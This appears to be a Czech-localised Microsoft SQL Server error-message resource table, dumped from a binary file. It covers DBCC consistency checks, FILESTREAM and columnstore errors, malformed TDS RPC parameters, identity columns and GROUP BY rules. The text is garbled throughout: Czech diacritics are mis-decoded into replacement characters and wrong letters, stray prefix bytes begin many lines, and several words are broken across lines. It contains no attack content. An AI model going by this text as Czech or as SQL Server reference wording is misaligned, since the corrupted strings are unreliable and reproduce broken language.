TChyba tabulky: ID adres�Ye FILESTREAM %1!s! pro ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s! je ve skupin souboro %5!s!, ale m� b�t ve skupin souboro %6!s!.

�Chyba tabulky: ID adres�Ye FILESTREAM %1!s! pro odd�l existuje, ale odpov�daj�c� odd�l v datab�zi neexistuje.

TOperace DBCC CHECK nemo~e pro datab�zi %1!s! pokra
ovat, proto~e se jedn� o sekund�rn� repliku a bu selhalo vytvoYen� sn�mku, nebo byla zad�na mo~nost WITH TABLOCK. Datab�ze sekund�rn� repliky nelze pro operaci DBCC CHECK v�hradn uzamknout. Dovod byl pravdpodobn pops�n v pYedchoz� chyb.

@Chyba tabulky: ID adres�Ye FILESTREAM %1!s! existuje pro sloupec ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ale tento sloupec v odd�lu neexistuje.

\Chyba tabulky: ID adres�Ye FILESTREAM %1!s! existuje pro ID sloupce %2!s! ID objektu %3!s!, ID indexu %4!s!, ID odd�lu %5!s!, ale tento sloupec nen� sloupcem FILESTREAM.

�V�indexu columnstore chyb� jeden nebo nkolik segmento sloupce. Dala� informace z�sk�te spuatn�m DBCC CHECKDB.

�Chyba tabulky: PYi zpracov�n� ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s! byl n�zev souboru %4!s! nalezen dvakr�t v adres�Yi sloupce %5!s! v ID kontejneru %6!s! (pro ID sloupce %7!s!).

lNelze odpojit datab�zi %1!s!, proto~e neexistuje.

�Syst�mov� datab�ze master, model, msdb a tempdb nelze odpojit.

�Chyba tabulky: PYi zpracov�n� ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s! byl n�zev souboru %4!s! nalezen dvakr�t v ID sloupce %5!s! (pro adres�Y sloupce %6!s!, ID kontejneru %7!s!).

dByl zad�n neplatn� identifik�tor SPID %1!s!.

Chyba tabulky: Soubor FILESTREAM %1!s! pro ID sloupce %2!s! byl nalezen v ID adres�Ye sloupce %3!s! ID kontejneru %4!s!, ale ml by se nach�zet v ID kontejneru %5!s! v ID objektu %6!s!, ID indexu %7!s!, ID odd�lu %8!s!, ID str�nky %9!s!, ID pozice %10!s!.

�Zadan� identifik�tor SPID nezpracov�v� vstupn� a v�stupn� datov� proudy.

�Indexu columnstore index chyb� minim�ln jeden slovn�k. Dala� informace z�sk�te spuatn�m pY�kazu DBCC CHECKDB.

�Byl zad�n neplatn� identifik�tor procesu serveru (SPID) %1!s! nebo ID d�vky %2!s!.

�ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), ID str�nky %6!s!, ID Y�dku %7!s!. Sloupec %8!s! je sloupcem VAR s hodnotou NULL a nenulovou d�lkou dat.

hByl zad�n neplatn� identifik�tor BATCHID %1!s!.

�Chyba datab�ze: Soubor %1!s! nen� platn�m souborem FILESTREAM LOG v ID kontejneru %2!s!.

\Chyba tabulky: Nelze zkontrolovat ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!) z dovodu neplan�ch str�nek pYidlen� (IAM).

4V�clusterovan�m indexu columnstore %1!s! v tabulce %2!s! chyb� segment sloupce pro ID sloupce %3!s! a ID skupiny Y�dko %4!s!. Obnovte data ze z�lohy.

L}�dn� aktivn� otevYen� transakce.

�Clusterovan� index �lo~iat sloupco %1!s! v tabulce %2!s! m� chybn� obsah v mapovac�m indexu.

�V�neclusterovan�m indexu columnstore %1!s! v tabulce %2!s! chyb� segment sloupce pro ID sloupce %3!s! a ID skupiny Y�dko %4!s!. Zahote neclusterovan� index columnstore a vytvoYte ho znovu.

\Clusterovan� index columnstore %1!s! v tabulce %2!s! (sloupec %3!s!) obsahuje jednu nebo v�ce hodnot, kter� jsou mimo rozsah datov�ho typu %4!s!. Obnovte data ze z�lohy.

�U~ivatel %1!s! nem� opr�vnn� ke spuatn� pY�kazu DBCC %2!s! pro datab�zi %3!s!.

<PYedb~n� kontroly syst�mov� tabulky: ID objektu %1!s!. Str�nka %2!s! je neo
ek�van�ho typu %3!s!. PY�kaz CHECK byl ukon
en z dovodu neopraviteln� chyby.

\PYedb~n� kontroly syst�mov� tabulky: ID objektu %1!s!. Str�nku %2!s! nelze na
�st a opatYit z�padkou typu %3!s!. PY�kaz CHECK byl ukon
en z dovodu neopraviteln� chyby.

�PYedb~n� kontroly syst�mov� tabulky: ID objektu %1!s! m� propojen� Yetzu prot�naj�c� rozn� objekty. Str�nka %2!s! ukazuje na %3!s! v ID aloka
n� jednotky %4!s! (m� b�t %5!s!). PY�kaz CHECK byl ukon
en z dovodu neopraviteln� chyby.

�PYedb~n� kontroly syst�mov� tabulky: ID objektu %1!s! m� neodpov�daj�c� propojen� Yetzu. %2!s!->next = %3!s!, ale %4!s!->prev = %5!s!. PY�kaz CHECK byl ukon
en z dovodu neopraviteln� chyby.

@PYedb~n� kontroly syst�mov� tabulky: ID objektu %1!s!. Byla zjiatna smy
ka v Yetzu dat na %2!s!. PY�kaz CHECK byl ukon
en z dovodu neopraviteln� chyby.

�Prob�h� kontrola informac� o identit: Aktu�ln� hodnota identity je %1!s!.

$Clusterovan�mu indexu columnstore %1!s! v tabulce %2!s! chyb� slovn�k pro ID sloupce %3!s! a ID skupiny Y�dko %4!s!. Obnovte data ze z�lohy.

dNelze zmenait datab�zi jen pro 
ten�: %1!s!.

�Datab�ze %1!s!: chyby konzistence v kataloz�ch syst�mu br�n� dala�mu zpracov�n� DBCC %2!s!.

�Roza�Yen� ulo~en� procedury lze vytvoYit pouze v hlavn� datab�zi.

P%1!s! neobsahuje sloupec identity.

�Prob�h� kontrola informac� identity: aktu�ln� hodnota identity %1!s!, aktu�ln� hodnota sloupce %2!s!.

�Pro tabulku %2!s! nelze nal�zt ~�dn� index s n�zvem %1!s!.

DPY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Meta-informace je neplatn� pro parametr SQL Variant.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! (XML) m� zad�nu neplatnou datab�zi nebo sch�ma.

4PY�choz� po~adavek m� pY�lia mnoho parametro. Syst�m SQL Server podporuje nejv�ae %1!s! parametro. Sni~te po
et parametro a odealete po~adavek znovu.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. N�zev RPC je neplatn�.

4PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s!: N�zev parametru je neplatn�.

LPY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s!: PY�znaky stavu parametru jsou neplatn�.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Form�t bloku dat je nespr�vn� pro parametr velk�ho objektu typu 0x%3!s!.

Po
et parametro pYedan�ch proceduYe sp_execute nen� stejn� jako po
et parametro pou~it�ch pYi pY�prav popisova
e (%1!s!).

HPY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! je nezn�m�.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Vol�n� RPC je ozna
eno pY�znakem Metadata nezmnna, ale datov� typ 0x%3!s! se lia� od datov�ho typu odeslan�ho naposled.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! (sql_variant) m� neplatnou d�lku pro metadata specifick� pro typ.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! (sql_variant) m� neplatnou pYesnost nebo ur
en� po
et 
�slic pro metadata specifick� pro typ.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! (sql_variant) m� neplatnou d�lku instance.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! (sql_variant) m� neplatn� typ pro metadata specifick� pro typ.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! je netypov� hodnota NULL, ale je ozna
en jako v�stupn� parametr.

|PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! m� neplatnou d�lku dat nebo metadat.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! m� neplatnou pYesnost nebo ur
en� po
et 
�slic.

Neplatn� parametr %1!s! (%2!s!): Datov� typ 0x%3!s! je zastaral� rozs�hl� objekt nebo objekt LOB, ale je ozna
en jako v�stupn� parametr. Zastaral� typy nejsou podporov�ny jako v�stupn� parametry. Pou~ijte nam�sto toho sou
asn� typy rozs�hl�ch objekto.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! (typ CLR) m� zad�n neplatn� typ u~ivatele.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! (typ CLR) m� neplatnou d�lku pro metadata serializace.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! (typ CLR) m� zad�nu neplatnou datab�zi.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Zadan� hodnota je NULL a datov� typ %3!s! nemo~e m�t hodnotu NULL. Zkontrolujte zdrojov� data, zda neobsahuj� neplatn� hodnoty.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Zadan� hodnota nen� platn� instance datov�ho typu %3!s!. Zkontrolujte zdrojov� data, zda neobsahuj� neplatn� hodnoty. PY�kladem neplatn� hodnoty mohou b�t data 
�seln�ho typu s ur
en�m po
tem 
�slic vta�m ne~ pYesnost�.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! (sql_variant) m� neplatnou kolaci pro metadata specifick� pro typ.

HPY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Vol�n� vzd�len�ho vol�n� procedur (RPC) je ozna
eno pY�znakem Metadata nezmnna, ale datov� typ 0x%3!s! m� jinou maxim�ln� d�lku ne~ typ odeslan� naposledy.

HPY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Vol�n� vzd�len�ho vol�n� procedur (RPC) je ozna
eno pY�znakem Metadata nezmnna, ale datov� typ 0x%3!s! m� jinou skute
nou d�lku ne~ typ odeslan� naposledy.

|PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Datov� typ 0x%3!s! (typ CLR) m� zad�no neplatn� sch�ma.

|PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr %1!s! (%2!s!): Zadan� d�lka nen� platn� pro datov� typ %3!s!. Zkontrolujte zdrojov� data, zda neobsahuj� neplatn� d�lky. PY�kladem neplatn� d�lky mohou b�t data typu nchar s lichou d�lkou v bajtech.

pPY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky). PYi zpracov�n� parametru s hodnotou tabulky byl nalezen neo
ek�van� token.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (XML) m� zad�nu neplatnou datab�zi nebo sch�ma.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Form�t bloku dat je nespr�vn� pro parametr velk�ho objektu datov�ho typu 0x%5!s!.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! je nezn�m�.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (sql_variant) m� neplatnou d�lku pro metadata specifick� pro typ.

LPY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (sql_variant) m� neplatnou pYesnost nebo ur
en� po
et 
�slic pro metadata specifick� pro typ.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (sql_variant) m� neplatnou d�lku instance.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (sql_variant) m� neplatn� typ pro metadata specifick� pro typ.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! m� neplatnou d�lku dat nebo metadat.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! m� neplatnou pYesnost nebo ur
en� po
et 
�slic.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (typ CLR) m� zad�n neplatn� typ u~ivatele.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (typ CLR) m� neplatnou d�lku pro metadata serializace.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (typ CLR) m� zad�nu neplatnou datab�zi.

hPY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Zadan� hodnota je NULL a datov� typ %5!s! nemo~e m�t hodnotu NULL. Zkontrolujte zdrojov� data, zda neobsahuj� neplatn� hodnoty.

$PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Zadan� hodnota nen� platn� instance datov�ho typu %5!s!. Zkontrolujte zdrojov� data, zda neobsahuj� neplatn� hodnoty. PY�kladem neplatn� hodnoty mohou b�t data 
�seln�ho typu s ur
en�m po
tem 
�slic vta�m ne~ pYesnost�.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (sql_variant) m� neplatnou kolaci pro metadata specifick� pro typ.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (typ CLR) m� zad�no neplatn� sch�ma.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Zadan� d�lka nen� platn� pro datov� typ %5!s!. Zkontrolujte zdrojov� data, zda neobsahuj� neplatn� d�lky. PY�kladem neplatn� d�lky mohou b�t data typu nchar s lichou d�lkou v bajtech.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky) m� zad�n n�zev datab�ze s nenulovou d�lkou. U parametru s hodnotou tabulky nen� povolen n�zev datab�ze. Platn� mo~nosti jsou pouze n�zev sch�matu a n�zev typu.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky) m� zad�no neplatn� sch�ma.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky) m� zad�n neplatn� n�zev typu.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky) m� zad�n neplatn� po
et sloupco.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky) m� zad�n neplatn� n�zev sloupce.

0PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky). Sloupec 
asov�ho raz�tka mus� b�t v�choz�.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky) m� zad�n neplatn� pY�znak sloupce.

DPY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky) m� zad�na neplatn� metadata uspoY�d�n� a jedine
nosti.

8PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky) m� zad�na neplatn� metadata uspoY�d�n� sloupco.

<PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky) m� zad�no pY�lia mnoho nepovinn�ch tokeno metadat.

\Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky). Zadan� sloupec je po
�tan� nebo v�choz� a m� nastaveno Yazen� nebo jedine
nost. Xazen� a jedine
nost lze nastavit pouze pro sloupce, kter� obsahuj� data zadan� klientem.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! na parametrizovan� Yetzec nem� definovan� ~�dn� typ tabulky.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! na parametrizovan� Yetzec nem� definovan� ~�dn� typ tabulky.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) je nespr�vn�. Parametr s hodnotou tabulky %1!s! (%2!s!), Y�dek %3!s!, sloupec %4!s!: Datov� typ 0x%5!s! (u~ivatelem definovan� typ tabulky) m� hodnotu null a nen� nastaven jako v�choz�. Parametr s hodnotou tabulky s hodnotou null mus� b�t odesl�n jako v�choz� parametr.

Data pro parametr s hodnotou tabulky %1!s! neodpov�daj� typu tabulky parametru. Intern� chyba syst�mu SQL Server: %2!s!, stav: %3!s!

Data pro parametr s hodnotou tabulky %1!s! neodpov�daj� typu tabulky parametru. Intern� chyba syst�mu SQL Server: %2!s!, stav: %3!s!

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) vzd�len�ho vol�n� procedur (RPC) odes�l� typ CLR s neomezenou d�lkou. Parametr %1!s! (%2!s!) je definov�n jako typ %3!s!. Tento typ nen� podporov�n klienty ni~a� �rovn. Odealete serializovan� data rozs�hl�ho typu CLR jako typ varbinary(max), nebo upgradujte ovlada
 klienta na takov�, kter� podporuje neomezen� typy CLR.

�Parametr %1!s! ([%2!s!].[%3!s!].[%4!s!]): Typ CLR neexistuje, nebo nem�te opr�vnn� k pY�stupu.

DPY�choz� datov� stream protokolu TDS (Tabular Data Stream) RPC je nespr�vn�. Parametr %1!s! (%2!s!): Tato verze SQL Serveru algoritmus aifrov�n� nepodporuje.

TPY�choz� datov� stream protokolu TDS (Tabular Data Stream) RPC je nespr�vn�. Parametr %1!s! (%2!s!): Tato verze SQL Serveru verzi normalizace aifrov�n� nepodporuje.

8PY�choz� datov� stream protokolu TDS (Tabular Data Stream) RPC je nespr�vn�. Parametr %1!s! (%2!s!): Tato verze SQL Serveru typ aifrov�n� nepodporuje.

`PY�choz� datov� stream protokolu TDS (Tabular Data Stream) RPC je nespr�vn�. Parametr %1!s! (%2!s!): ID datab�ze aifrovac�ho kl�
e sloupce, ID nebo verze jsou mimo limity.

LExplicitn� hodnota pro sloupec identity v tabulce %1!s! mo~e b�t zad�na pouze kdy~ je pou~it seznam sloupco a mo~nost IDENTITY_INSERT je nastavena na hodnotu ON.

`Nelze aktualizovat sloupec identity %1!s!.

�%1!s! nen� u~ivatelsk� tabulka. Nelze prov�st operaci SET.

�Tabulka %1!s! nem� vlastnost identita. Nelze prov�st operaci SET.

Mo~nost IDENTITY_INSERT je ji~ nastavena na hodnotu ON pro tabulku %1!s!.%2!s!.%3!s!. Nelze prov�st operaci SET pro tabulku %4!s!.

Nelze pYidat sloupec identity pomoc� pY�kazu SELECT INTO do tabulky %1!s!, kter� u~ m� sloupec %2!s!, kter� dd� vlastnost identita.

�Prob�h� pokus o pYid�n� v�ce sloupco identity do tabulky %1!s! pomoc� pY�kazu SELECT INTO.

xNelze pYidat v�ce omezen� PRIMARY KEY do tabulky %1!s!.

�Nelze definovat omezen� PRIMARY KEY pro sloupec s mo~nou hodnotou null v tabulce %1!s!.

�Nelze pYidat v�ce ne~ jeden clusterovan� index pro omezen� pro tabulku %1!s!.

�Nespr�vn� pou~it� metody datov�ho typu XML %1!s!. V tomto kontextu je o
ek�v�na metoda typu mut�tor.

xPYi pYevodu datov�ho typu %1!s! na %2!s! doalo k chyb.

�PYi pYevodu %1!s! na datov� typ %2!s! doalo k chyb aritmetick�ho pYete
en�.

�Datov� typ argumentu %1!s! je neplatn� pro argument %2!s! funkce %3!s!.

|Datov� typ operandu %1!s! je neplatn� pro oper�tor %2!s!.

Sloupec %1!s!.%2!s! v seznamu pY�kazu SELECT je neplatn�, proto~e nen� obsa~en v agrega
n� funkci a neexistuje klauzule GROUP BY.

Sloupec %1!s!.%2!s! v klauzuli HAVING je neplatn�, proto~e nen� obsa~en v agrega
n� funkci a neexistuje klauzule GROUP BY.

Sloupec %1!s!.%2!s! v seznamu pY�kazu SELECT je neplatn�, proto~e nen� obsa~en v agrega
n� funkci ani v klauzuli GROUP BY.

�Sloupec %1!s!.%2!s! v klauzuli HAVING je neplatn�, proto~e nen� obsa~en v agrega
n� funkci ani v klauzuli GROUP BY.

�Korela
n� v�raz je neplatn�, proto~e nen� v klauzuli GROUP BY.

�V agregovan�m v�razu obsahuj�c�m vnja� odkaz je zad�no v�ce sloupco. Pokud agregovan� v�raz obsahuje vnja� odkaz, potom tento vnja� odkaz mus� b�t jedin�m sloupcem odkazovan�m v tomto v�razu.

�Agregovan� v�raz obsahuj�c� vnja� odkaz mus� b�t obsa~en v seznamu pY�kazu SELECT nebo v poddotazu klauzule HAVING v dotazu, jeho~ klauzule FROM obsahuje tabulku s agregovan�m sloupcem.

Sloupec %1!s!.%2!s! v klauzuli ORDER BY je neplatn�, proto~e nen� obsa~en v agrega
n� funkci a neexistuje klauzule GROUP BY.

�Sloupec %1!s!.%2!s! v klauzuli ORDER BY je neplatn�, proto~e nen� obsa~en v agrega
n� funkci ani v klauzuli GROUP BY.

�Velikost nov�ho disku mus� b�t vta� ne~ %1!s!. Zva~te pou~it� pY�kazu DBCC SHRINKDB.

�Nejm�n jeden z v�sledn�ch v�razo ve specifikaci CASE mus� b�t v�razem jin�m ne~ konstanta NULL.

@Doalo k chyb dlen� nulou.

�Omezen� �rovn tabulky nebo index nespecifikuj� seznam sloupco tabulky %1!s!.

�V seznamu kl�
o omezen� %1!s! tabulky %2!s! byly zad�ny duplicitn� sloupce.

�Nespr�vn� pou~it� metody datov�ho typu XML %1!s!. V tomto kontextu je o
ek�v�na metoda, kter� nen� typu mut�tor.

�V seznamu sloupco ciz�ho kl�
e tabulky %1!s! bylo zad�no v�ce ne~ 16 sloupco.

�Po
et odkazuj�c�ch sloupco v ciz�m kl�
i se lia� od po
tu odkazovan�ch sloupco tabulky %1!s!.

�V omezen� �rovn sloupce %1!s! tabulky %2!s! byl zad�n v�ce ne~ jeden kl�
.

�Omezen� sloupce %1!s! pro sloupec %2!s! odkazuje na jin� sloupec tabulky %3!s!.

PParametr %1!s! byl zad�n v�cekr�t.

�Procedura nebo funkce %1!s! m� pY�lia mnoho zadan�ch argumento.

\%1!s! nen� parametr pro proceduru %2!s!.

�Procedura %1!s! nem� zad�ny ~�dn� parametry ani argumenty.

�Nelze vytvoYit atribut IDENTITY pro sloupec %1!s! s mo~nou hodnotou null tabulky %2!s!.

�Pro sloupec %3!s!, tabulka %4!s! byl zad�n v�ce ne~ jeden sloupec %1!s! %2!s!.

�V re~imu vl�k�nek nejsou podporov�ny objekty automatizace OLE.

�Pro sloupec %1!s! tabulky %2!s! bylo zad�no v�ce omezen� s hodnotou NULL.

�Pro sloupec %1!s! tabulky %2!s! byla definov�na ob omezen� PRIMARY KEY a UNIQUE. Je povoleno pouze jedno.

\Data String nebo binary by byla zkr�cena.

HTabulka %1!s! je nejednozna
n�.

�Pro sloupec %1!s! z %2!s! nebyl zad�n ~�dn� n�zev sloupce.

`Sloupec %1!s! byl zad�n v�cekr�t pro %2!s!.

|%1!s! m� v�ce sloupco, ne~ bylo zad�no v seznamu sloupco.

|%1!s! m� m�n sloupco, ne~ bylo zad�no v seznamu sloupco.

